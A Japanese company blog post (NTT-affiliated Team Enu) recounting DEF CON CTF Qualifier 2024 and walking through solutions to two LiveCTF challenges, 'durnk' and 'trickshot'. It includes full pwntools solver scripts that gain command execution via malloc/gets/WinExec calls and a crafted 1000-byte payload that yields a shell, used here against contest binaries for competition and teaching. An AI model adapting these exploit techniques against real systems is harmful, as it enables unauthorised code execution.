概要
- DEF CON CTF Qualifier 2024で、Team Enuは22位の成績を収めました。
- 本記事では、LiveCTFのdurnkとtrickshotの2問を解説します。
はじめに
こんにちは、研究開発部の末廣です。CTFイベントDEF CON CTF Qualifier 2024
1に、NTTグループ有志と、募集2に応募いただいた学生の合同チームTeam Enu
3で参加しました。コンテスト期間は2024/05/04~2024/05/06の48時間と、ゴールデンウィークまっただ中でした。取り組まれた皆様お疲れ様でした!
結果、263チーム中22位の成績を収めました。
当社エンジニアと学生 CTF プレイヤーが NTTグループ有志とともに Team Enu として、#DEFCON #CTF Qualifier 2024 に参加しました。
— 株式会社エヌ・エフ・ラボラトリーズ (@NFLaboratories) 2024年5月7日
協力して難問に挑み、22 位の成績をおさめました🚩
今後もTeam Enu の活動を通じてグループのエンジニアや学生との交流をしていきます。https://t.co/S1PLDiAc9E pic.twitter.com/IyFBY33slV
筆者はLiveCTF問題の4問目と6問目の2問で得点に貢献できました。本記事ではその2問を解説します。
LiveCTFとは
LiveCTFとは、昨年から出題されるようになった、次の形式のジャンルです。
- 4時間ごとに6個の問題が出題されます。
- 各問題に解答できる期間は、出題から4時間以内のみです。
- 各問題では、クライアント側プログラムのテンプレートや、サーバー側プログラム、テスト用スクリプトが配布されます。クライアント側プログラムを適切に実装して、最終的にサーバー側で
./submitter
プログラムを起動させられるとフラグを得られて正解できます。 - 各問題正解時に得られる得点は、その問題に最初に正解したチームは50点で、以降6分ごとに1点ずつ減少します。
- ただ今回の1問目では、初期の配布ファイルに不備があったことから、正解できたチームは一律で50点獲得できました。
- 各問題の解答期間が終了した後に、LiveCTF用のYouTubeチャンネル4でいくつかのチームの解法が紹介されます。
昨年にも弊社ブログで紹介記事を公開しているので、よろしければそちらもご覧ください。
なお、LiveCTFが今年もあるかどうかは、コンテスト開始までは全く情報がありませんでした。コンテスト中にLiveCTFジャンル問題が出現したことで、今回もLiveCTFがあると分かりました。また各問題のジャンルは、昨年では各問題開始後に配布ファイルを見て初めて分かりましたが、今年はスケジュールに明記されていました。
durnk (Chall 4: pwn, winapi)
サーバー側プログラムの解析
サーバー側プログラムは、wine
経由でchallenge.exe
を起動するものです。challenge.exe
はx64 PEで、解析すると次の処理を行うプログラムだと分かりました。
- クライアント側が指定したDLLを使って、サーバー側で
LoadLibraryA
関数を呼び出します。結果のモジュールハンドルをクライアントへ応答します。 - クライアント側が指定したAPI名と、手順1結果のモジュールハンドルを使って、サーバー側で
GetProcAddress
関数を呼び出して関数アドレスを取得します。 - クライアント側が指定した64-bit整数を引数として、サーバー側で手順2結果の関数アドレスを呼び出します。呼び出し結果をクライアントへ応答します。
- 1~3を繰り返します。なお、1や2の処理に失敗した場合は終了します。
なお、配布ファイルにはkernel32.dll
とmsvcrt.dll
も含まれます。必要なら、それらのファイル内容に依存した処理も可能だと思います。
正解までの道のり
筆者がテスト環境を構築している間に、チームメンバーから具体的なコードとともに、次の方針でローカルではうまく実行できたとの情報がありました。
msvcrt.dll
のmalloc
関数を、適当なサイズを引数に呼び出し、メモリを確保させてアドレスを取得msvcrt.dll
のgets
関数を、手順1で確保したアドレスを引数に呼び出し、その後に実行コマンド./submitter
を入力msvcrt.dll
のsystem
関数5を、手順1で確保したアドレスを引数に呼び出し、手順2で入力したコマンドを実行
ただ残念ながら、テスト環境構築後に試すとsystem
関数が-1
を返しました。その値は呼び出しエラーを意味します。system
関数呼び出し前にputs
関数を呼び出しを挟んで確認すると、手順2で入力した内容が適切に保存されていることは確認できました。何らかの理由でsystem
関数がうまく動作しない環境と考えました。
system
関数以外の、第1引数にコマンドを指定できる関数を探すと、kernel32.dll
のWinExec
関数6が見つかり、試してみると無事にコマンドを実行できました!なお、本来のWinExec
関数は引数を2個取る関数であるため、今回の実行方法では第2引数のuCmdShow
に不定値が入りそうです。ただもしかしたら、uCmdShow
引数はCUIプログラムには影響しない値なのかもしれません。
最終的に、次のクライアント側プログラムを提出して正解できました。提出する速さが大事なのでコメントアウトした行が混ざっていますが御愛嬌ということでお願いします。
#!/usr/bin/env python3 from pwn import * context.log_level = "CRITICAL" import time HOST = os.environ.get('HOST', 'localhost') PORT = 31337 io = remote(HOST, int(PORT)) def function(module, funcname, arg): io.recvuntil(b"Which module would you like to load?") io.sendline(module) io.recvuntil(b"What function do you want to call?") io.sendline(funcname) io.recvuntil(b"What value do you want for the first argument?") io.sendline(str(arg).encode()) function(b"msvcrt.dll", b"malloc", 32) io.recvuntil(b"Result:") addr = int(io.recvline().rstrip(), 16) function(b"msvcrt.dll", b"gets", addr) # io.sendline(b"dir") # io.sendline(b'echo "abc"') io.sendline(b"./submitter") function(b"msvcrt.dll", b"puts", addr) function(b"kernel32.dll", b"WinExec", addr) context.log_level = "DEBUG" # function(b"msvcrt.dll", b"system", addr) # なぜか何を試しても-1が返って実行できない time.sleep(1) print(io.clean())
問題開始から3時間4分後に正解できて、23点を獲得できました。
正解までに時間がかかってしまった理由として、テスト環境の構築中に筆者マシンのディスク容量が尽きてしまったせいか、数十分待っても構築中のまま止まっていたことがあります。ディスク容量を確保するために不要ファイルを削除したり、マシンの動作が不安定になっていたため再起動が必要になってしまい、動作確認ができるまでに時間がかかってしまいました……。このようなマシン環境の整備も一種の準備、という教訓になりました。
system関数では失敗した理由
system
関数を使う方法では失敗した理由をコンテスト後に調べました。Microsoft社のsystem
関数のドキュメントによると、system
関数呼び出しがエラーになる場合には、-1
を返しつつ、グローバル変数errno
へエラーコードを設定します。_get_errno
関数7を使えばerrno
内容を取得できるため、クライアント側プログラムから、サーバー側のerrno
内容を読み取れます。次のクライアント側プログラムを実行して確認しました。
#!/usr/bin/env python3 from pwn import * context.log_level = "DEBUG" import time HOST = os.environ.get('HOST', 'localhost') PORT = 31337 io = remote(HOST, int(PORT)) def function(module, funcname, arg): io.recvuntil(b"Which module would you like to load?") io.sendline(module) io.recvuntil(b"What function do you want to call?") io.sendline(funcname) io.recvuntil(b"What value do you want for the first argument?") io.sendline(str(arg).encode()) function(b"msvcrt.dll", b"malloc", 32) io.recvuntil(b"Result:") addr_for_errno = int(io.recvline().rstrip(), 16) function(b"msvcrt.dll", b"gets", addr_for_errno) io.sendline(b"XXXX") # 念のため[4]をNUL文字へ設定 function(b"msvcrt.dll", b"malloc", 32) io.recvuntil(b"Result:") addr = int(io.recvline().rstrip(), 16) function(b"msvcrt.dll", b"gets", addr) io.sendline(b"./submitter") function(b"msvcrt.dll", b"puts", addr) # 実行コマンドを書き込めていることを確認 function(b"msvcrt.dll", b"system", addr) # なぜか何を試しても-1が返って実行できない function(b"msvcrt.dll", b"_get_errno", addr_for_errno) # system関数呼び出し後のerrnoを調査 function(b"msvcrt.dll", b"puts", addr_for_errno) # errno内容を強引に文字列として表示 print(f"{io.recvline().hex() = }") # \r\nのみ print(f"{io.recvline().hex() = }") # "Alright, we're calling it!\r\n" print(f"{io.recvline().hex() = }") # \x02\r\nなので、system関数呼び出し後のerrnoは2の模様 # function(b"kernel32.dll", b"WinExec", addr) # context.log_level = "DEBUG" time.sleep(1) print(io.clean())
コードのコメントにも書いていますが、実行結果はerrno
に2
が設定されたことを示しました。手元のVisual Studioで各種マクロに対応する数値を調べると、ENOENT
が2
であることが分かりました。ドキュメントによると、system
関数がerrno
へENOENT
を設定する場合とは、The command interpreter can't be found.
な場合とのことです。おそらく、つまりはcmd.exe
やsh
が紐づけられていない状況のようです。wine
経由で実行されている環境だと、そのような状況になるのかもしれません。
trickshot (Chall 6: reversing)
サーバー側プログラムの解析
サーバー側プログラムはchallenge.py
とtrickshot
で構成されています。エントリーポイント相当のchallenge.py
は、次の処理を行います。
- 1000バイトの入力をクライアント側から受け取ります。
- 1で受け取った入力で
trickshot
を起動して、出力内容から後述するスコアやボーナスを取得します。 - ボーナスに応じてスコアを乗算します。また、ボーナスを5個すべて獲得していると、点数に
600000
点を追加します。 - 最終点数が
640000
点以上なら/bin/sh
を起動します。
trickshot
はx64 ELFで、解析すると次の処理を行うプログラムだと分かりました。
- 1000バイトの入力を取ります。以降、0-indexedで記述します。
- 入力の6バイト目から4バイトを使って、
checkAlignment
関数を呼び出し、条件が合えばBONUS MULT x2: You really connected!
ボーナスを出力します。 - 次の処理を100回行います。
- これまでの実行内容を使って、今回の処理では入力中のどの10バイトを使うかを、10バイト単位で計算します。
- 具体的には
p = &input[10 * ((value1 * total_power + loop_count + value_from_input_4_5) % 100)];
のように計算します。
- 具体的には
- 1で計算した10バイトを、ループカウンターだけ減算した値へ変更します。
- 具体的には
for ( i = 0; i <= 9; p[i++] -= loop_count ) {}
のように変更します。
- 具体的には
- 2結果の10バイトについて、先頭1バイトによって判定内容を分岐して、各種スコア計算やボーナス判定を行います。ボーナスの判定方法は後述します。
- これまでの実行内容を使って、今回の処理では入力中のどの10バイトを使うかを、10バイト単位で計算します。
- 最終スコアを出力します。このときは、各種ボーナスの2倍処理等は未反映の状況です。
スコア計算式は比重が小さいので省略します。ボーナスには次の5種類があります。いずれのボーナスも最大1回だけ獲得できます。
BONUS MULT x2: You really connected!
、入力1000バイトの6~9バイト目を使ったcheckAlignment
関数呼び出しが非0を返すと獲得できます。- 試してみると、6~9バイト目をすべて同一バイトにすると獲得できるようです。他の場合でも獲得できるようですが詳細な条件は未調査です。
BONUS MULT x2: threading the needle!
、今回のループで使う10バイトについて、trickshot次の条件をすべて満たすと獲得できます。- 10バイトの0バイト目が
\x04
- 10バイトの1~4バイト目の内容が
fUzZ
- 10バイトの6~9バイト目の内容が
tHiS
- 10バイトの0バイト目が
BONUS MULT x%d: Wiggle bonus!
、今回のループで使う10バイトについて、trickshot次の条件をすべて満たすと獲得できます。- 10バイトの0バイト目が
\x10
- 10バイトの1~7バイト目がすべて
\x55
- 10バイトの0バイト目が
BONUS MULT x%d: Mad skills!
、今回のループで使う10バイトについて、trickshot次の条件をすべて満たすと獲得できます。- 10バイトの0バイト目が
\x40
- 10バイトの4バイト目以降の内容が
1337
- 10バイトの0バイト目が
BONUS MULT x%d: Wiggle bonus!
、今回のループで使う10バイトについて、trickshot次の条件をすべて満たすと獲得できます。- 10バイトの0バイト目が
\x80
- 10バイト目の1~4バイト目と5~8バイト目をそれぞれlittle-endianの
uint32_t
として解釈したとき、それぞれが非0で、かつ合計が2**32
- 10バイトの0バイト目が
正解までの道のり
ボーナスを5個すべて獲得する入力を作ることにしました。600000
点が追加されるため、それまでのスコアとボーナスの乗算結果と合わせて、目標スコアの640000
に到達できると考えたためです。
入力を考えるためには、特定の1000バイトを入力にtrickshot
を実行する場合に、100回ループ中の各回で、どの10バイトを使用しているのかを知りたいです。方法を調べた結果、gdb
コマンドでデバッグ実行してmain+0x1EB
へブレークポイントを貼り、ブレーク時に$rax
レジスタ内容を確認すればいいと分かりました。また、gdb
のcommands
コマンドを併用すればブレークポイントヒット時に自動的にレジスタ内容を表示しつつ、続行できることも分かりました。
後は、入力を作りやすくするためにできるだけ先頭の方の10バイトから使うように入力内容を調整しつつ、5個すべてのボーナスを獲得できる入力を表現するコードを作成しました。最終的に、次のプログラムとなりました。
import pwn io = pwn.process(["gdb", "-q", "--nx", "./handout/trickshot"]) PROMPT = b"(gdb)" PROMPT_IN_COMMANDS = b">" io.sendlineafter(PROMPT, b"b *(main+0x1EB)") io.sendlineafter(PROMPT, b"commands") io.sendlineafter(PROMPT_IN_COMMANDS, b"silent") io.sendlineafter(PROMPT_IN_COMMANDS, b'printf "index:%d, value=0x%02x, boundCount=%d\\n", $rax, (*(char*)($rdx+$rax) & 0xff), *(int*)($rbp-0x4b0)') io.sendlineafter(PROMPT_IN_COMMANDS, b"continue") io.sendlineafter(PROMPT_IN_COMMANDS, b"end") # \x80の確認 # io.sendlineafter(PROMPT, b"b *(main+0x81D)") # \x04ボーナスの確認 # io.sendlineafter(PROMPT, b"b *(main+0x355)") io.sendlineafter(PROMPT, b"run") def adjust(b:bytes, bounded_count, padding:bytes)->bytes: b = bytearray(b) while len(b) < 10: b += padding for i in range(len(b)): b[i] = (b[i] + bounded_count) % 256 return b # connected bonus payload = b"3" * 70 # roof bonus roof_value = 0x12345678 payload += adjust(b"\x80" + pwn.p32(roof_value) + pwn.p32(2**32 - roof_value), 0, b"|") payload += b"y" * (80 - len(payload)) # BONUS MULT x%d: Mad skills! payload += adjust(b"\x40" + b" " + b"1337", 5, b"!") payload += b"A" * (100 - len(payload)) # BONUS MULT x%d: Wiggle bonus! payload += adjust(b"\x10" + b"\x55"*7, 15, b"!") payload += b"A" * (560 - len(payload)) # threading the needle! payload += adjust(b"\x04" + b"fUzZ tHiS", 17, b"A") payload += b"A" * (1000 - len(payload)) io.sendafter(b'SHOW ME WHAT YOU GOT\n', payload) # io.interactive(prompt="") io.sendline(b"quit") print(io.recvall().decode())
無事に5個すべてのボーナスを獲得できる入力を作れたので、後は提出用のクライアント側プログラムへ移植しました。最後に./submitter
プログラムを起動する入力を追加し、最終的に次のクライアント側プログラムになりました。
#!/usr/bin/env python3 from pwn import * import time HOST = os.environ.get('HOST', 'localhost') PORT = 31337 # context.log_level = "DEBUG" io = remote(HOST, int(PORT)) def solve(io): def adjust(b:bytes, bounded_count, padding:bytes)->bytes: b = bytearray(b) while len(b) < 10: b += padding for i in range(len(b)): b[i] = (b[i] + bounded_count) % 256 return b # connected bonus payload = b"3" * 70 # roof bonus roof_value = 0x12345678 payload += adjust(b"\x80" + p32(roof_value) + p32(2**32 - roof_value), 0, b"|") payload += b"y" * (80 - len(payload)) # BONUS MULT x%d: Mad skills! payload += adjust(b"\x40" + b" " + b"1337", 5, b"!") payload += b"A" * (100 - len(payload)) # BONUS MULT x%d: Wiggle bonus! payload += adjust(b"\x10" + b"\x55"*7, 15, b"!") payload += b"A" * (560 - len(payload)) # threading the needle! payload += adjust(b"\x04" + b"fUzZ tHiS", 17, b"A") payload += b"A" * (1000 - len(payload)) # io.sendafter(b'SHOW ME WHAT YOU GOT\n', payload) io.recvuntil(b"Setting you up for a trickshot...") time.sleep(0.1) io.send(payload) print(f"{len(payload) = }") # io.sendlineafter(b"Final score: ", b"./submitter") time.sleep(1.0) io.sendline(b"./submitter") while True: print(io.recvline()) solve(io)
問題開始から2時間8分後に正解できて、35点を獲得できました。
なお、目標スコアを達成して/bin/sh
を起動できる場合、サーバー側プログラムからの出力が実行開始時のSetting you up for a trickshot...
だけになりました。当初はクライアント側プログラムではサーバー側プログラムからのFinal score:
出力を待つつもりでしたが、その出力がないため動かない状況でした。20分ほどデバッグして、Final score:
表示を待たずに./submitter
プログラムを起動すれば上手くいくことに気付き、なんとか正解できました。
標準出力のバッファリングとsystem関数
想定する出力がなかった理由をコンテスト後に調べると、バッファリングによるものと分かりました。Githubのissue comment8やPythonコード9によると、Unixのisatty
関数を使って出力先がTTYかどうか調べて、TTYの場合は行バッファリングを、そうでない場合は大きなバッファを使ったバッファリングを行うとのことです。今回の問題の場合はDocker内部で実行されるので出力先はTTYではないため、大きなバッファを使ったバッファリング、おそらくフルバッファリングが使われます。challenge.py
で標準出力をフラッシュしている箇所はSetting you up for a trickshot...
の出力直後だけであるため、それ以降の出力はバッファリングされてフラッシュ待ちの状態のままos.system("/bin/sh")
が実行されます。
Pythonのos.system
関数のドキュメント10には、C標準関数のsystem
関数を使って実装されており、同様の制限があるとの記述があります。C標準関数のsystem
関数の解説ページ11での注記欄を見ると、新規作成するプロセスが何らかのスクリーン入出力を行う場合はsystem
関数を呼び出す前にstd::cout
を明示的にフラッシュする必要があるとの記述があります。ここでstd::cout
はC++における標準出力用オブジェクトです。これらの記述から、Pythonから使用する場合も同様に、os.system
関数を呼び出す前に標準出力をフラッシュしておく必要があると言えそうです。今回の問題では標準出力がフラッシュされないままos.system("/bin/sh")
が実行されるため、結果としてFinal score:
等の出力がないまま/bin/sh
が起動する動作になったと納得できました。
なお、目標スコアに達しない場合ではchallenge.py
最後のI know you can do better!
まですべて出力される理由は、Pythonプロセスが終了するためOSなどによって自動的にフラッシュされるためと考えています。
おわりに
コンテストではLiveCTF以外にも多くの問題が出題されました。中には、1万個を超えるディレクトリそれぞれに1つの実行可能バイナリと数十個のSOが配置されており、大量のバイナリを効率的に自動化する必要がある問題など、ユニークな問題もありました。筆者はそれらの問題にも取り組みましたが、残念ながら得点に繋がりませんでした。より様々な問題も解けるように取り組みます。また、チームメンバーと問題の議論を重ねることは非常に面白く、充実した時間でした。
最後になりましたが、本記事がDEF CON CTFへ取り組んだ方や、これからCTFを始めようと考える方の参考になれば幸いです。
- https://ctftime.org/event/2229↩
- https://twitter.com/NFLaboratories/status/1778236027616059760↩
- https://team-enu.github.io/↩
- https://www.youtube.com/@livectf↩
- https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/system-wsystem↩
- https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec↩
- https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/get-errno↩
- https://github.com/python/cpython/issues/85621#issuecomment-1093878863↩
- https://github.com/python/cpython/blob/3.13/Python/pylifecycle.c#L2505-L2508↩
- https://docs.python.org/3/library/os.html#os.system↩
- https://en.cppreference.com/w/cpp/utility/program/system↩